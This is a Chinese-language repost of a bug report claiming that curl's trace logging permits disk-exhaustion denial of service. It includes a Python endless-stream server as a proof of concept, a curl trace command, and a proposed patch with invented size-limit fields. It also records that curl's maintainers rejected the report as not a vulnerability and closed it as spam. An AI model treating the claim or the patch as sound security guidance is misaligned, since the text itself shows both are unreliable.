报告 #3250490 - 磁盘空间耗尽导致拒绝服务(DoS)
描述
当使用--trace
或--trace-ascii
选项处理大量数据时,tool_debug_cb
函数可以向日志文件写入大量调试数据。如果攻击者能够使cURL下载或上传非常大量的数据(例如通过非常大的HTTP响应或无限制上传),此调试功能生成的日志文件可能会无限增长。这可能导致运行cURL的系统磁盘空间耗尽,进而破坏同一服务器上运行的其他服务。
如果使用--dump-header
选项,该部分会将原始HTTP头数据写入heads->stream
。如果heads->stream
恰好与跟踪输出是同一个文件,或者是另一个具有无限增长潜力的文件,则会加剧此问题。
漏洞代码
tool_debug_cb函数中的头部文件写入
/* In tool_debug_cb */
if(per->config->headerfile && heads->stream) {size_t rc = fwrite(ptr, size, nmemb, heads->stream); // <-- 易受攻击的写入if(rc != cb)return rc;/* flush the stream to send off what we got earlier */if(fflush(heads->stream)) {errorf(per->config->global, "Failed writing headers to %s",per->config->headerfile);return CURL_WRITEFUNC_ERROR;}
}
TRACE_PLAIN部分的数据处理
/* In tool_debug_cb, in the TRACE_PLAIN section */
case CURLINFO_HEADER_OUT:if(size > 0) {size_t st = 0;size_t i;for(i = 0; i < size - 1; i++) {if(data[i] == '\n') { /* LF */if(!newl) {log_line_start(output, timebuf, idsbuf, type);}(void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入st = i + 1;newl = FALSE;}}if(!newl)log_line_start(output, timebuf, idsbuf, type);(void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入}newl = (size && (data[size - 1] != '\n'));traced_data = FALSE;break;
概念验证(POC)
无限数据服务器设置 [unli.py]
import http.server
import socketserver
import timePORT = 8002class MyHandler(http.server.SimpleHTTPRequestHandler):def do_GET(self):print(f"[{time.ctime()}] Received GET request from {self.client_address[0]}")self.send_response(200)self.send_header("Content-Type", "application/octet-stream")self.send_header("Transfer-Encoding", "chunked")self.end_headers()# 持续流式传输数据try:i = 0while True:chunk = f"This is chunk {i}: {'A' * 1024}\n".encode('utf-8') # 每块1KB数据self.wfile.write(f"{len(chunk):X}\r\n".encode('ascii')) # 十六进制块大小self.wfile.write(chunk)self.wfile.write(b"\r\n")self.wfile.flush()i += 1except Exception as e:print(f"[{time.ctime()}] Client disconnected or error: {e}")finally:# 结束分块编码self.wfile.write(b"0\r\n\r\n")self.wfile.flush()with socketserver.TCPServer(("", PORT), MyHandler) as httpd:print(f"serving at port {PORT}")try:httpd.serve_forever()except KeyboardInterrupt:print("\nServer shutting down.")
使用跟踪选项运行curl
curl http://localhost:8002/test.txt -o /dev/null --trace output.log
修复方案
在tool_debug_cb()中添加大小检查
int tool_debug_cb(CURL *handle, curl_infotype type,char *data, size_t size,void *userdata)
{struct OperationConfig *operation = userdata;struct GlobalConfig *global = operation->global;FILE *output = tool_stderr;// --- 开始修复 ---// 确保跟踪流已打开且设置了大小限制if (global->trace_stream && global->trace_fopened && global->max_trace_log_size > 0) {// 估算要写入的数据块大小size_t estimated_write_size = estimate_formatted_data_size(type, size, global->tracetype);// 检查当前写入是否会超过限制if (global->current_trace_log_size + estimated_write_size > global->max_trace_log_size) {// 关闭文件并禁用跟踪以防止进一步写入warnf(global, "Trace log file '%s' reached maximum size. Stopping further trace logging.",global->trace_dump);fclose(global->trace_stream);global->trace_stream = NULL;global->trace_fopened = FALSE;global->tracetype = TRACE_NONE;global->trace_dump = NULL;return 0;}}// --- 结束修复 ---// ... 其余代码 ...
}
项目团队回应
curl开发团队认为这不是一个安全漏洞,指出调试日志不适用于生产系统,且资源使用导致的DoS问题已在文档中说明。报告最终被标记为垃圾信息并关闭。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码